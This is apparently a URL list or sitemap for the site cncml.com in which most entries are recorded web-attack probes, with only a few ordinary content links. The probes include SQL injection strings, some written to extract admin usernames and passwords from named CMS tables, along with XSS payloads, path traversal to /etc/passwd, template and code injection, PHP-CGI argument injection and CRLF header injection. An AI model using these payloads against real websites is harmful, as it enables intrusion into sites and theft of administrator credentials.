http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(27=21)%20THEN%20'usergroup'%20ELSE%200x28%20END))%20AND%20('Vb'='Vb 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(67=67)%20THEN%20'usergroup'%20ELSE%200x28%20END))%20AND%20('CL'='CL 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup';%20IF(14=69)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup';%20IF(67=67)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup) 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup);%20IF(68=68)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup);%20IF(75=31)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup6633x3X6 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroupAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroupJyI%3D 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroupalert(42873) 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroupe360 0.0001 http://www.cncml.com/home.php?redirect:%25%7B23.5*2.35%7D 0.0001 http://www.cncml.com/home.php?xss_test%3Cscript%3Eprompt(42873);%3C/script%3E 0.0001 http://www.cncml.com/index.php 0.0007 http://www.cncml.com/index.php/*123*/'union/**/select/**/1,2,3,4,5,6,7,8,md5(1122),10,11#&action=getatlbyid 0.0001 http://www.cncml.com/index.php/?Itemid=11&option=com_search&searchword=%f6%22%20onmouseover%3dprompt(3312)%20//&task=search 0.0001 http://www.cncml.com/index.php/Index/index/name/$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/index.php/Site/article/id/-5724)+UNION+ALL+SELECT+11,11,11,0x63656461723A66696E643A696969696969,11,11,11,11,11,11,11,11,11#.html 0.0001 http://www.cncml.com/index.php/Site/listTpl/id/-7266)+UNION+ALL+SELECT+0x63656461723A66696E643A696969696969,NULL,NULL,NULL#.html 0.0001 http://www.cncml.com/index.php/Site/page/id/-7266)+UNION+ALL+SELECT+0x63656461723A66696E643A696969696969,NULL,NULL,NULL#.html 0.0001 http://www.cncml.com/index.php/abc-abc-abc-$%7B@exit(md5(118741911))%7D/ 0.0001 http://www.cncml.com/index.php/cms/item-comment?callback=jsonp1380096883458'%22()%26%25%3Cscript%3Eprompt(42873)%3C/script%3E&iid=114&page=1&view_page=1&_=1380096883791&_ajax_request= 0.0001 http://www.cncml.com/index.php/product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(0x7c,admin_name,0x7c,admin_pw,0x7c,sha1(0x3336307765627363616e))+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19%20and+'1'='1 0.0001 http://www.cncml.com/index.php/weblinks-categories?id=just_test 0.0001 http://www.cncml.com/index.php?-dauto_prepend_file%3d/etc/passwd+-n 0.0001 http://www.cncml.com/index.php?_COOKIE%5Bcfg%5D%5Bdatabase%5D=mysql&_COOKIE%5Bcfg%5D%5Bdb_host%5D=localhost&_COOKIE%5Bcfg%5D%5Bdb_user%5D=webscan&_COOKIE%5Bcfg%5D%5Bdb_pass%5D=reer&_COOKIE%5Bcfg%5D%5Bdb_name%5D=db 0.0001 http://www.cncml.com/index.php?a=list&c=content&catid=19 0.0001 http://www.cncml.com/index.php?a=list&c=content&catid=19&page=2 0.0001 http://www.cncml.com/index.php?a=list&c=content&catid=20 0.0001 http://www.cncml.com/index.php?a=list&c=content&catid=3&page=3 0.0001 http://www.cncml.com/index.php?a=list&c=content&catid=3&page=4 0.0001 http://www.cncml.com/index.php?a=list&c=content&catid=7 0.0001 http://www.cncml.com/index.php?a=list&c=tag&kw=3dmax2013zhongwenban64wei 0.0001 http://www.cncml.com/index.php?a=list&c=tag&kw=ceshi 0.0001 http://www.cncml.com/index.php?a=list&c=tag&kw=chuji 0.0001 http://www.cncml.com/index.php?a=list&c=tag&kw=gongju 0.0001 http://www.cncml.com/index.php?a=list&c=tag&kw=gongxiangziyuan 0.0001 http://www.cncml.com/index.php?a=list&c=tag&kw=pingguo 0.0001 http://www.cncml.com/index.php?a=list&c=tag&kw=ruanjian 0.0001 http://www.cncml.com/index.php?a=list&c=tag&kw=shujuku 0.0001 http://www.cncml.com/index.php?a=list&c=tag&kw=sumiao 0.0001 http://www.cncml.com/index.php?a=list&c=tag&kw=wangzheguilai 0.0001 http://www.cncml.com/index.php?a=list&c=tag&kw=yuanchuang 0.0001 http://www.cncml.com/index.php?a=list&c=tag&kw=yulongzaitian 0.0001 http://www.cncml.com/index.php?a=list&c=tag&kw=zhongwen 0.0001 http://www.cncml.com/index.php?a=list&c=tag&kw=ziyuan 0.0001 http://www.cncml.com/index.php?a=list_type&c=index&m=link&siteid='+and(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,unhex(Hex(cast(v9_admin.username+as+char))),0x27,0x7e)+from+%60phpcmsv9%60.v9_admin+Order+by+userid+limit+0,1)+)+from+%60information_schema%60.tables+limit+0,1),floor(rand(0)*2))x+from+%60information_schema%60.tables+group+by+x)a)+and+'1'%3D'1 0.0001 http://www.cncml.com/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing%20onmouonmouseoverseover=alert(42873)%20y=&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing%22%20onmouseover=alert(42873)%20y=&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=2%20onmoonmouseoveruseover=alert(42873)%20y=&zone=3363 0.0001 http://www.cncml.com/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=2%22%20onmouseover=alert(42873)%20y=&zone=3363 0.0001 http://www.cncml.com/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=2000_3000%20onmonmouseoverouseover=alert(42873)%20y=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=2000_3000%22%20onmouseover=alert(42873)%20y=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=4%20onmonmouseoverouseover=alert(42873)%20y=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=4%22%20onmouseover=alert(42873)%20y=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/index.php?a=lists&agent=&bedroom=4_100%20onmouonmouseoverseover=alert(42873)%20y=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=336 0.0001 http://www.cncml.com/index.php?a=lists&agent=&bedroom=4_100%22%20onmouseover=alert(42873)%20y=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=336 0.0001 http://www.cncml.com/index.php?a=lists&agent=2%20onmoonmouseoveruseover=alert(42873)%20y=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/index.php?a=lists&agent=2%22%20onmouseover=alert(42873)%20y=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/index.php?a=show 0.0001 http://www.cncml.com/index.php?a=show&c=content&id=137 0.0001 http://www.cncml.com/index.php?a=show&c=content&id=161 0.0001 http://www.cncml.com/index.php?a=show&c=content&id=47 0.0001 http://www.cncml.com/index.php?a=show&c=content&id=64&page=1 0.0001 http://www.cncml.com/index.php?a=show&c=content&id=64&page=3 0.0001 http://www.cncml.com/index.php?a=show&c=content&id=67 0.0001 http://www.cncml.com/index.php?a=show&c=content&id=72 0.0001 http://www.cncml.com/index.php?a=show&c=content&id=87 0.0001 http://www.cncml.com/index.php?ac=order&at=list 0.0001 http://www.cncml.com/index.php?ac=search&at=taglist&tagkey=%2527,tags)%20or(select%201%20from(select%20count(*),concat((select%20(select%20concat(0x7e,0x27,table_name,0x27,0x7e))%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 0.0001 http://www.cncml.com/index.php?ac=search&at=taglist&tagkey=a%2527 0.0001 http://www.cncml.com/index.php?act=coupon&area_id=&city_id=1&class_id=&class_id_1=&mall_id=&op=list&orderby=coupon_end_time&sort=-12%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(0x23,md5(1122),0x23,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/index.php?act=index&op=list&city_id=1&area_id=&mall_id=&class_id=2&class_id_1=8&pconsume=&orderby=person_consume&sort=,(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20CHAR(100,%2056,%20100,%2057,%2048,%2097,%2097,%2057,%2052,%2051,%20101,%2052,%2097,%20100,%20100,%2050)))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a) 0.0001 http://www.cncml.com/index.php?act=index&op=list&city_id=1&area_id=&mall_id=&class_id=3&class_id_1=22&pconsume=&orderby=add_time%20asc,%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20md5(1122))a%20from%20information_schema.tables%20group%20by%20a)b);%23&sort=asc 0.0001 http://www.cncml.com/index.php?act=search&key=click&order=desc,%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20md5(1122))a%20from%20information_schema.tables%20group%20by%20a)b);%23&cate_id=8 0.0001 http://www.cncml.com/index.php?act=show_groupbuy&op=groupbuy_list&groupbuy_area=&groupbuy_class=&groupbuy_price=1&groupbuy_order_key=price&groupbuy_order=asc,%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20md5(1122))a%20from%20information_schema.tables%20group%20by%20a)b);%23 0.0001 http://www.cncml.com/index.php?action=article&do=show&todo=content&a=282%20AND%20(SELECT%203853%20FROM(SELECT%20COUNT(*),CONCAT(0x6366726565723A,(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)),0x3A696A783A,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/index.php?action=detail&do=offer&title=%2527or%25201%253D2%2523 0.0001 http://www.cncml.com/index.php?action=school&todo=content&do=-1%20and%20(select%201%20from%20%20(select%20count(*),concat(0x7c,md5(1122),0x7c,floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a) 0.0001 http://www.cncml.com/index.php?action=shop&todo=content&do=-1%20UNION%20SELECT%201,2,3,concat(0x7c,md5(1122),0x7c),5,6,7,8,9,10,11,12,13,14,15,16,17 0.0001 http://www.cncml.com/index.php?action=teacher&teacher_id=(SELECT%201833%20FROM(SELECT%20COUNT(*),CONCAT(0x7e,md5(1122),0x7e,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)&todo=infor 0.0001 http://www.cncml.com/index.php?app=/../robots.txt%00 0.0001 http://www.cncml.com/index.php?app=user&ac=../../../robots.txt%00 0.0001 http://www.cncml.com/index.php?app=user&ac=plugin&in=../../robots.txt%00 0.0001 http://www.cncml.com/index.php?app=widget&mod=Category&act=getChild&model_name=Schedule&method=runSchedule&id%5Btask_to_run%5D=addons/Area)-%3EgetAreaList();print(md5(1122));%23 0.0001 http://www.cncml.com/index.php?c=MTA3==&op=../../../../../../../../../../etc/passwd%00.jpg 0.0001 http://www.cncml.com/index.php?c=ajax&a=member_login&template=../../ooxx.php 0.0001 http://www.cncml.com/index.php?c=api&a=down&file=YWQ2OVpRcGJtL3d3NWh5WmVxbkNYbGRnZjVnalFLSXRaWkRpT1dVZmNXQ1BqNjhPeE82RkpKak1iWUZwcDZrK2tXaFZYdTRZ 0.0001 http://www.cncml.com/index.php?c=api&m=data&auth=finecms&param=action%3Dcache%20name%3DSPACE-MODEL.1%27%5D%3Bprint%28md5%281122%29%29%3B%2f%2f 0.0001 http://www.cncml.com/index.php?c=buylist&a=dellist&id=1%20and%20(select%201%20from%20(select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a) 0.0001 http://www.cncml.com/index.php?c=com_index&m=yp&userid=12%22%3E%3Ciframe%20src=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/index.php?c=content&a=list&catid=3&page=2 0.0001 http://www.cncml.com/index.php?c=content&a=show&id=117 0.0001 http://www.cncml.com/index.php?c=content&a=show&id=125 0.0001 http://www.cncml.com/index.php?c=content&a=show&id=153 0.0001 http://www.cncml.com/index.php?c=content&a=show&id=161 0.0001 http://www.cncml.com/index.php?c=content&a=show&id=172&page=2 0.0001 http://www.cncml.com/index.php?c=content&a=show&id=173 0.0001 http://www.cncml.com/index.php?c=content&a=show&id=201&page=1 0.0001 http://www.cncml.com/index.php?c=content&a=show&id=201&page=3 0.0001 http://www.cncml.com/index.php?c=content&a=show&id=209&page=1 0.0001 http://www.cncml.com/index.php?c=content&a=show&id=46 0.0001 http://www.cncml.com/index.php?c=content&a=show&id=64 0.0001 http://www.cncml.com/index.php?c=content&a=show&id=87 0.0002 http://www.cncml.com/index.php?c=content&a=show&id=93 0.0001 http://www.cncml.com/index.php?c=content&a=show&id=97 0.0001 http://www.cncml.com/index.php?c=tag 0.0001 http://www.cncml.com/index.php?c=tj&f=include&js=/../../config.php 0.0001 http://www.cncml.com/index.php?c=ueditor&f=remote_image&upfile=http://0.0.0.0/reer.php 0.0001 http://www.cncml.com/index.php?caid=1&ccid12=12&fsale=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/index.php?case=../../../../../../../../../../../../../../../../etc/passwd%00 0.0001 http://www.cncml.com/index.php?case=archive&act=orders 0.0001 http://www.cncml.com/index.php?case=archive&act=orders&aid%5Baid%60%3D2%20and%200%20union%20select%201,2,3,char(106),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,md5(1122),36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58%20from%20cmseasy_user%20where%20userid%3C2%20%20--%20%20a%5D=26 0.0001 http://www.cncml.com/index.php?case=archive&act=orders&aid%5Btypeid%60%3d1%20UNION%20SELECT@typeid,2,3,concat(0x7e,md5(1122),0x7e),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58%20from%20cmseasy_archive%20ORDER%20BY%201%23%5D=10 0.0001 http://www.cncml.com/index.php?case=archive&act=search&keyword=webscan%25%2527%29%09union%09select%090%2C0%2C0%2Cconcat%28username%2Cpassword%29%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%09from%09cmseasy_user%09where%09groupid%3D2%09union%09SELECT%09*%09FROM%09%60cmseasy_archive%60%09WHERE%09%28title%09like%09%2527%25aaaaaaaa 0.0001 http://www.cncml.com/index.php?case=manage&act=delete&manage=orders&guest=1&id=-1 0.0001 http://www.cncml.com/index.php?case=tag&act=show&tag=%2522%20union%20select%200x2D3120756E696F6E2073656C65637420312C307833313239323037353645363936463645323037333635364336353633373432303331324333323243333332433644363433353238333533353332333233313331333233323239324333353243333632433337324333383243333932433331333032433331333132433331333232433331333332433331333432433331333532433331333632433331333732433331333832433331333932433332333032433332333132433332333232433332333332433332333432433332333532433332333632433332333732433332333832433332333932433333333032433333333132433333333232433333333332433333333432433333333532433333333632433333333732433333333832433333333932433334333032433334333132433334333232433334333332433334333432433334333532433334333632433334333732433334333832433334333932433335333032433335333132433335333232433335333332433335333432433335333532433335333632433335333732433335333832303636373236463644323036333644373336353631373337393546373537333635373232332C332D2D,2%23 0.0001 http://www.cncml.com/index.php?controller=block&action=goodsCommend&id=0)%20Union%20select%201,md5(1122)%23 0.0001 http://www.cncml.com/index.php?controller=block&action=spec_value_list&id=1%20union%20select%201,%28Select%20concat%280x5b,admin_name,0x3a,PassWord,0x5d%29%29,3,4,5,6%20from%20iwebshop_admin 0.0001 http://www.cncml.com/index.php?controller=site&action=getProduct&specJSON=%7B%20%22people%22:%221'%20and%201=2%20union%20select%20md5(1122),2,3,4,5,6,7,8,9%20and%20'1'='1%22%7D 0.0001 http://www.cncml.com/index.php?ctl=deals&k=pp%25%27%29and%20extractvalue%281%2Cconcat%280x5c%2Cmd5%280x7765627363616e%29%29%29%23 0.0001 http://www.cncml.com/index.php?ctl=help&act=term%27%20and%20extractvalue%281%2Cconcat%280x5c%2Cmd5%280x7765627363616e%29%29%29%23 0.0001 http://www.cncml.com/index.php?diy=yes 0.0001 http://www.cncml.com/index.php?doc-summary-xxxxxxxxx%27%20and%201=2%20union%20select%201,2,3,4,5,CONCAT(0x7c,username,0x7c,password,0x7c,CHAR(119,101,98,115,99,97,110)),7,8,9,10,11,12,13,14,15,16,17,18,19,20%20from%20wiki_user%20where%20groupid=4%20limit%201%23 0.0001 http://www.cncml.com/index.php?id=-1%7C%7C1%20group%20by%20mid(md5(1122)%20from%20rand()*10%20for%2030)having%20min(1)%23&mod=compare 0.0001 http://www.cncml.com/index.php?id=product&c=project&cate=1&ext%5Bid%3C0%20union%20select%20111,2,3,4,5,6,md5(1122),8,9%20,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--%5D=1 0.0001 http://www.cncml.com/index.php?index=a&skin=default/../&dataoptimize_html=/../../templates/default/images/css/metinfo.css 0.0001 http://www.cncml.com/index.php?keywords=zzz333&mod=search 0.0001 http://www.cncml.com/index.php?language_id=1%20and%20%20%28SELECT%201%20from%20%28select%20count%28%2a%29%2Cconcat%28floor%28rand%280%29%2a2%29%2C%28substring%28%28select%28md5%281122%29%29%29%2C1%2C62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%23&is_protect=1&action=cccc 0.0001 http://www.cncml.com/index.php?m=Ajax&a=gettypeattr&type_id=1%27%20AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/index.php?m=Article&a=showByUname&uname=%2527or%25201%253D%2528select%25201%2520from%2520%2528select%2520count%2528%252a%2529%252Cconcat%2528floor%2528rand%25280%2529%252a2%2529%252C%2528select%2520md5%25281122%2529%2520from%2520fanwe_admin%2520limit%25200%252C1%2529%2529a%2520from%2520information_schema.tables%2520group%2520by%2520a%2529b%2529%2523 0.0001 http://www.cncml.com/index.php?m=Goods&a=showByUname&uname=%2527AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/index.php?m=Goods&a=showcate&id=1'cfreer 0.0001 http://www.cncml.com/index.php?m=Order&a=index 0.0001 http://www.cncml.com/index.php?m=announcement&s=admin/notice_manager&action=modify&id=1212%20UnIon%20select%201,2,concat(user,0x7c,password),4,5,6,7,8%20from%20webscan%23 0.0001 http://www.cncml.com/index.php?m=company&s=admin/exportexcel&ordrby=user%20and%201=websec%23 0.0001 http://www.cncml.com/index.php?m=company&s=space_comments&uid=1and%20(SELECT%201%20from%20(selectcount(*),concat(floor(rand(0)*2),(substring((select(selEctconcat(user,0x7c,password)%20from%20b2bbuilder_admin%20limit%200,1)),1,62)))a%20frominformation_schema.tables%20group%20by%20a)b) 0.0001 http://www.cncml.com/index.php?m=company&s=space_mail&tid=1)%20and%201=websec%20%23 0.0001 http://www.cncml.com/index.php?m=message&s=inquire&userid=1)%20UnIon%20select%201,12,123%20from%20webscan%23 0.0001 http://www.cncml.com/index.php?m=message&s=inquiry_basket 0.0001 http://www.cncml.com/index.php?m=news&s=admin/news&newsid=1%20and%20(SELECT%201%20from%20websec) 0.0001 http://www.cncml.com/index.php?m=news&s=admin/newslist&submit=%E5%88%A0%E9%99%A4&did=999%29%20and%20%28SELECT%201%20from%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28select%28selEct%20concat%28user,0x7c,password%29%20from%20f10bd198561acb0197452013b7a82429%20limit%200,1%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%23 0.0001 http://www.cncml.com/index.php?m=poster&c=index&a=poster_click&id=1 0.0001 http://www.cncml.com/index.php?m=search&a=public_get_suggest_keyword&url=http://www.baidu.com/&q=/../robots.txt 0.0001 http://www.cncml.com/index.php?m=video&c=video_for_ck&a=add_f_ckeditor&vid=1&title=1122&description=a%E9%8C%A6%27,0,0,0,0,0,%28select%20%281%29%20from%20mysql.user%20where%201=1%20aNd%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%29%29%23 0.0001 http://www.cncml.com/index.php?m=video&c=video_for_ck&a=add_f_ckeditor&vid=1&title=a%E9%8C%A6%27,0,0,0,0,0,%28select%20%281%29%20from%20mysql.user%20where%201=1%20aNd%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%29%29%23 0.0001 http://www.cncml.com/index.php?m=wap&siteid=1&a=big_image&url=aHR0cDovL3hzc3Rlc3QuY29tIiBvbmVycm9yPSJqYXZhc2NyaXB0OmFsZXJ0KDQyODczKTs= 0.0001 http://www.cncml.com/index.php?m=yp&c=index&a=lists&areaid=12&catid=114&price=&tid=1%22%20onmouseover=prompt(42873)%20&page=1&order=1 0.0001 http://www.cncml.com/index.php?m=yp&c=index&a=lists&areaid=37%20%20onmouseover%3Dprompt%2842873%29%20&catid=10&price=1_500&page=1&order=4 0.0001 http://www.cncml.com/index.php?m=yp&c=index&a=lists&areaid=37&catid=10&price=%22%20onmouseover=prompt(42873)%20&page=1&order=4 0.0001 http://www.cncml.com/index.php?mod=../admin/admin&a=list 0.0001 http://www.cncml.com/index.php?mod=../admin/admin&ac=list 0.0001 http://www.cncml.com/index.php?option=com_hello&controller=../../../../../../../../etc/passwd%00 0.0001 http://www.cncml.com/index.php?option=com_ztautolink&controller=../../../../../../../../../../../../../../../etc/passwd%00 0.0001 http://www.cncml.com/index.php?product-%22%3E%3Ciframe%20src=javascript:window%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(42873)%20-1122-viewpic.html 0.0001 http://www.cncml.com/index.php?q=1%25%2527%2520and%25201%253D2%2520%2523&do=search&action=lists&module=product 0.0001 http://www.cncml.com/member.php 0.0005 http://www.cncml.com/member.php?%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/member.php?act=index 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?action=login&infloat=yes&frommessage=frommessage&mod=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 